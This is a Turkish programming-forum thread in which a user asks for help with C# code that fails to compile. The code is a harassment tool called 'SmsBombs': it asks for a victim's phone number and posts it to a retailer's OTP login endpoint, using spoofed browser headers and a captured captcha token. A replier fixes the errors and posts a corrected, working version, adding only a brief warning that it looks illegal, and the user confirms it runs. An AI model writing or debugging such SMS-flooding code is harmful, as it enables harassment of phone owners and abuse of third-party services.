C# Kodu neden çalışmıyor?

Qwains

Hectopat
Katılım
23 Ekim 2021
Mesajlar
567
Makaleler
1
Çözümler
2
Yer
Turkey
Daha fazla  
Cinsiyet
Erkek


C# ile ilgili her şey yüklü olmasına rağmen hala bu hatayı veriyor, isteyene kodu atarım.

Console. Writeline("selam Technopat");
Yazsam bile aynı hatayı alıyorum bir yardımcı olabilir misiniz?
 

Dosya Ekleri

  • 1725572760123.png
    6,3 KB · Görüntüleme: 56
Son düzenleme:
Hangi IDE yi kullanıyorsun? Vsc gibi gözüküyor. Vs2019 veya vs2022 kullanman daha iyi olur. Çünkü .NET için en iyi geliştirme ortamı direk vs dir.
 
Hangi IDE'yi kullanıyorsun? VSC gibi gözüküyor. VS2019 veya VS2022 kullanman daha iyi olur. Çünkü .NET için en iyi geliştirme ortamı direk vsdir.

Vs de de deniyorum fakat orada da hata alıyorum bir SS atayım size.

 
Altı çizili satırı şu şekilde düzenleyip bakın bir.
C#:
request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");



Herhangi bir şey değişmedi hocam.
 
Özel değil hocam atayım.

C#:
using System;
using System.Collection.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace SmsBombs
{
    internal class Program
    {
        static void Main(string[] args)
        {
            Console.Write("Telefon Numarası: ");
            string HedefNumara = Console.Readline();

            var Bir = Migros(HedefNumara);

            Console.Read();
        }
        {
            public static async Task Migros(string Numara)
        {
            var handler = new HttpClientHandler();
            handler.UseCookies = false;


            handler.AutomaticDecompression = ~DecompressionMethods.None;


            using (var httpClient = new HttpClient(handler))
            {
                using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
                {
                    request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
                    request.Headers.TryAddWithoutValidation("x-pwa", "true");
                    request.Headers.TryAddWithoutValidation("accept-language", "tr");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
                    request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
                    request.Headers.TryAddWithoutValidation("accept", "application/json");
                    request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
                    request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
                    request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
                    request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
                    request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
                    request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
                    request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
                    request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
                    request.Headers.TryAddWithoutValidation("priority", "u=1, i");

                    request.Content = new StringContent("{\"phoneNumber\":\""" + Numara + "\"}");
                    request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

                    var response = await httpClient.SendAsync(request);
                }
            }
        }
    }
}
 
Son düzenleme:

Kütüphanelerden "using System. Collection. Generic;" hatalı yazılmış Collections olarak değiştir ilk olarak.
2. olarak string HedefNumara = Console.Readline(); "L" büyük olucak
3. olarak request. Content = New StringContent("{\"phoneNumber\":\""" + Numara + "\"}"); kısmında tırnak hatası var
4. olarak method içine method eklemişsin, nasıl anlatayım. Kıvırcık parantez kullanımı hatalı diyelim. Event'ler ayrılmamış bu da derlemeyi etkiler
Doğru kod:

C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Net;

namespace SmsBombs
{
 internal class Program
 {
 static void Main(string[] args)
 {
 Console.Write("Telefon Numarası: ");
 string HedefNumara = Console.ReadLine();

 var Bir = Migros(HedefNumara);

 Console.Read();
 }

 public static async Task Migros(string Numara)
 {
 var handler = new HttpClientHandler();
 handler.UseCookies = false;
 handler.AutomaticDecompression = ~DecompressionMethods.None;

 using (var httpClient = new HttpClient(handler))
 {
 using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
 {
 request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
 request.Headers.TryAddWithoutValidation("x-pwa", "true");
 request.Headers.TryAddWithoutValidation("accept-language", "tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
 request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
 request.Headers.TryAddWithoutValidation("accept", "application/json");
 request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
 request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
 request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
 request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
 request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
 request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
 request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
 request.Headers.TryAddWithoutValidation("priority", "u=1, i");

 request.Content = new StringContent("{\"phoneNumber\":\"" + Numara + "\"}");
 request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

 var response = await httpClient.SendAsync(request);
 }
 }
 }
 }
}

NOT: YAZDIĞIN KOD LEGAL bir şeye BENZEMİYOR, YAPMAMANI KUVVETLE TAVSİYE EDERİM
 
Teşekkürler hocam deniyorum şimdi.


Çalıştı sağ olun tekrar iyi geceler dilerim.
 
Son düzenleme:
Bu siteyi kullanmak için çerezler gereklidir. Siteyi kullanmaya devam etmek için çerezleri kabul etmelisiniz. Daha Fazlasını Öğren.…